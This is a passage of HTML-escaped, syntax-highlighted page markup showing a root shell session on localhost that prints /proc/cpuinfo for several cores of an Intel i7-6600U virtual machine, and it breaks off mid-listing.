&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;60&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#60&#34;&gt; 60&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;61&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#61&#34;&gt; 61&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;62&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#62&#34;&gt; 62&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;63&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#63&#34;&gt; 63&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;64&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#64&#34;&gt; 64&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;65&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#65&#34;&gt; 65&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;66&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#66&#34;&gt; 66&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;67&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#67&#34;&gt; 67&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;68&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#68&#34;&gt; 68&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;69&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#69&#34;&gt; 69&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;70&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#70&#34;&gt; 70&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;71&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#71&#34;&gt; 71&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;72&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#72&#34;&gt; 72&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;73&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#73&#34;&gt; 73&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;74&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#74&#34;&gt; 74&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;75&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#75&#34;&gt; 75&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;76&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#76&#34;&gt; 76&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;77&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#77&#34;&gt; 77&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;78&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#78&#34;&gt; 78&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;79&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#79&#34;&gt; 79&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;80&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#80&#34;&gt; 80&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;81&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#81&#34;&gt; 81&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;82&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#82&#34;&gt; 82&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;83&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#83&#34;&gt; 83&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;84&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#84&#34;&gt; 84&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;85&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#85&#34;&gt; 85&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;86&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#86&#34;&gt; 86&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;87&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#87&#34;&gt; 87&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;88&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#88&#34;&gt; 88&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;89&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#89&#34;&gt; 89&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;90&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#90&#34;&gt; 90&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;91&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#91&#34;&gt; 91&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;92&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#92&#34;&gt; 92&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;93&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#93&#34;&gt; 93&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;94&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#94&#34;&gt; 94&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;95&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#95&#34;&gt; 95&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;96&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#96&#34;&gt; 96&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;97&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#97&#34;&gt; 97&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;98&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#98&#34;&gt; 98&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;99&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#99&#34;&gt; 99&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;100&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#100&#34;&gt;100&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;101&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#101&#34;&gt;101&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;102&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#102&#34;&gt;102&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;103&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#103&#34;&gt;103&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;104&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#104&#34;&gt;104&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;105&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#105&#34;&gt;105&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;106&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#106&#34;&gt;106&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@localhost:/proc# cat cpuinfo
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;processor       : &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vendor_id       : GenuineIntel
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cpu family      : &lt;span style=&#34;color:#f5a97f&#34;&gt;6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;model           : &lt;span style=&#34;color:#f5a97f&#34;&gt;78&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;model name      : Intel&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; Core&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;TM&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; i7-6600U CPU @ 2.60GHz
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;stepping        : &lt;span style=&#34;color:#f5a97f&#34;&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;microcode       : 0xffffffff
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cpu MHz         : 2808.000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cache size      : &lt;span style=&#34;color:#f5a97f&#34;&gt;256&lt;/span&gt; KB
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;physical id     : &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;siblings        : &lt;span style=&#34;color:#f5a97f&#34;&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;core id         : &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cpu cores       : &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apicid          : &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;initial apicid  : &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fpu             : yes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fpu_exception   : yes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cpuid level     : &lt;span style=&#34;color:#f5a97f&#34;&gt;6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wp              : yes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm pni pclmulqdq est tm2 ssse3 fma cx16 xtpr sse4_1 sse4_2 movbe popcnt aes xsave osxsave avx f16c rdrand hypervisor
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bogomips        : 5616.00
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;clflush size    : &lt;span style=&#34;color:#f5a97f&#34;&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cache_alignment : &lt;span style=&#34;color:#f5a97f&#34;&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;address sizes   : &lt;span style=&#34;color:#f5a97f&#34;&gt;36&lt;/span&gt; bits physical, &lt;span style=&#34;color:#f5a97f&#34;&gt;48&lt;/span&gt; bits virtual
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;power management:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;processor       : &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vendor_id       : GenuineIntel
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cpu family      : &lt;span style=&#34;color:#f5a97f&#34;&gt;6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;model           : &lt;span style=&#34;color:#f5a97f&#34;&gt;78&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;model name      : Intel&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; Core&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;TM&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; i7-6600U CPU @ 2.60GHz
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;stepping        : &lt;span style=&#34;color:#f5a97f&#34;&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;microcode       : 0xffffffff
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cpu MHz         : 2808.000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cache size      : &lt;span style=&#34;color:#f5a97f&#34;&gt;256&lt;/span&gt; KB
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;physical id     : &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;siblings        : &lt;span style=&#34;color:#f5a97f&#34;&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;core id         : &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cpu cores       : &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apicid          : &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;initial apicid  : &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fpu             : yes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fpu_exception   : yes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cpuid level     : &lt;span style=&#34;color:#f5a97f&#34;&gt;6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wp              : yes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm pni pclmulqdq est tm2 ssse3 fma cx16 xtpr sse4_1 sse4_2 movbe popcnt aes xsave osxsave avx f16c rdrand hypervisor
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bogomips        : 5616.00
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;clflush size    : &lt;span style=&#34;color:#f5a97f&#34;&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cache_alignment : &lt;span style=&#34;color:#f5a97f&#34;&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;address sizes   : &lt;span style=&#34;color:#f5a97f&#34;&gt;36&lt;/span&gt; bits physical, &lt;span style=&#34;color:#f5a97f&#34;&gt;48&lt;/span&gt; bits virtual
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;power management:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;processor       : &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vendor_id       : GenuineIntel
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cpu family      : &lt;span style=&#34;color:#f5a97f&#34;&gt;6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;model           : &lt;span style=&#34;color:#f5a97f&#34;&gt;78&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;model name      : Intel&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;R&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; Core&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;TM&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; i7-6600U CPU @ 2.60GHz
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;stepping        : &lt;span style=&#34;color:#f5a97f&#34;&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;microcode       : 0xffffffff
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cpu MHz         : 2808.000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cache size      : &lt;span style=&#34;color:#f5a97f&#34;&gt;256&lt;/span&gt; KB
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;physical id     : &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;siblings        : &lt;span style=&#34;color:#f5a97f&#34;&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;core id         : &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cpu cores       : &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apicid          : &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;initial apicid  : &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fpu             : yes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fpu_exception   : yes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cpuid level     : &lt;span style=&#34;color:#f5a97f&#34;&gt;6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wp              : yes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm pni pclmulqdq est tm2 ssse3 fma cx16 xtpr sse4_1 sse4_2 movbe popcnt aes xsave osxsave avx f16c rdrand hypervisor
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bogomips        : 5616.00
